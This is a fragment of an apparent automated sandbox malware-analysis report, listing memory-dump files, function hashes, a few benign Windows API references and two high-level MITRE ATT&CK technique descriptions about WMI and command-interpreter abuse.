Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: bd21cc85955a5c458b29503a803aad494bfa16a88d61a017af5236eaaf7766a9
Instruction ID: 50483d323f07affcf1c0b7c5d91aba32280c82b8e0bc0d92552ce62382837c06
Opcode Fuzzy Hash: bd21cc85955a5c458b29503a803aad494bfa16a88d61a017af5236eaaf7766a9
Instruction Fuzzy Hash: E83160F250C600AFE701AF19D9847BEBBE9EF85730F12882DE6C182644D77548449BA7

Function 00DF7E40 Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00DF7E72

Memory Dump Source

Source File: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 23f8c201ed8828a9b0158490bb98d7a1035833c35095525d733ad0940c0c8bc2
Instruction ID: 17ea8494093a478c703a853e7ede0cbb54d965c19bc08fb1f0585ceace4d367e
Opcode Fuzzy Hash: 23f8c201ed8828a9b0158490bb98d7a1035833c35095525d733ad0940c0c8bc2
Instruction Fuzzy Hash: 39E0C23218D38B8FC7038F6898953AD7B30EF53B10B2580CAE2448F162C6640866EB65

Non-executed Functions

Function 00C5B9A8 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

%e, xrefs: 00C5BBC1

Memory Dump Source

Source File: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID:
String ID: %e
API String ID: 0-3095654903
Opcode ID: 92f8dc9295101c562695f51b4200af6e01774ae721cd46fa99b9e5b530c3f60c
Instruction ID: c03e933d12ad672e499b9ae18b8f87b10a063c7bc12b779771efe0e23e8fb05f
Opcode Fuzzy Hash: 92f8dc9295101c562695f51b4200af6e01774ae721cd46fa99b9e5b530c3f60c
Instruction Fuzzy Hash: 12515FB6D00926CFDB218F28C4013B97FA1EB44726F194465CC569BB99D3796DCC938C

Function 00DCFB37 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6faeea64d300b646fec7afb991169460966188b887778da77fc7601e959a151b
Instruction ID: c67b61fb95e3456863ca8ac686d4d0c683a75486fcdc35536dd3602e65722713
Opcode Fuzzy Hash: 6faeea64d300b646fec7afb991169460966188b887778da77fc7601e959a151b
Instruction Fuzzy Hash: 39F0E93140CF865FE331DB349CB54C6FFA1BE12224794CE8CC0E217986E324A416C781

Function 00DF76A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00DF76C9
wsprintfA.USER32 ref: 00DF76E4

Strings

3An internal exception occurred (Address: 0x%x)Please, contact yoursite@yoursite.com. Thank you!, xrefs: 00DF76DC

Memory Dump Source

Source File: 00000007.00000002.2472395618.0000000000DF4000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000007.00000002.2471706248.0000000000C50000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471724007.0000000000C52000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471742696.0000000000C56000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471762212.0000000000C5A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471783408.0000000000C64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471801133.0000000000C65000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471819244.0000000000C66000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471911764.0000000000DB6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471931079.0000000000DB9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DCC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471952944.0000000000DD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2471988413.0000000000DDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472004356.0000000000DDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472020112.0000000000DDE000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472035960.0000000000DDF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472051765.0000000000DE0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472069381.0000000000DE3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472134700.0000000000DEB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472158872.0000000000DEC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472180727.0000000000DED000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472243853.0000000000DEE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472275228.0000000000DF1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472355250.0000000000DF2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472374776.0000000000DF3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472430776.0000000000E0A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472459681.0000000000E0C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472484799.0000000000E0E000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472516730.0000000000E20000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472547229.0000000000E2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472572466.0000000000E2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472597003.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472624979.0000000000E30000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472654311.0000000000E31000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472680908.0000000000E32000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472708297.0000000000E40000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472736714.0000000000E45000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472766135.0000000000E46000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472793283.0000000000E4B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472819406.0000000000E52000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472848688.0000000000E59000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472878591.0000000000E68000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472908281.0000000000E6C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472934975.0000000000E6D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472963673.0000000000E6F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2472995751.0000000000E70000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473022210.0000000000E78000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473066304.0000000000E80000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473101121.0000000000E81000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473129240.0000000000E89000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473155394.0000000000E8B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473196001.0000000000E9C000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473226065.0000000000E9E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EE5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473275605.0000000000EEC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473343849.0000000000EFC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2473373403.0000000000EFE000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c50000_A1B0VWLBQG1NHHVW3B7EOUSWCWB.jbxd

Similarity

API ID: ExitProcesswsprintf
String ID: 3An internal exception occurred (Address: 0x%x)Please, contact yoursite@yoursite.com. Thank you!
API String ID: 1886629153-556072682
Opcode ID: 1b2de071a954a611e9873ce2eac4fea67af025ebb2a83b20c27912efa65c535d
Instruction ID: 37d8a4f50c342f6a77da7d2b16ab6280ae8282507b5af2cfe80c8e1b368df174
Opcode Fuzzy Hash: 1b2de071a954a611e9873ce2eac4fea67af025ebb2a83b20c27912efa65c535d
Instruction Fuzzy Hash: 7FF0307154424FAFDB12DF68C898BEF3B58EF05310F050051EE0486A95E3661C68DF29

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
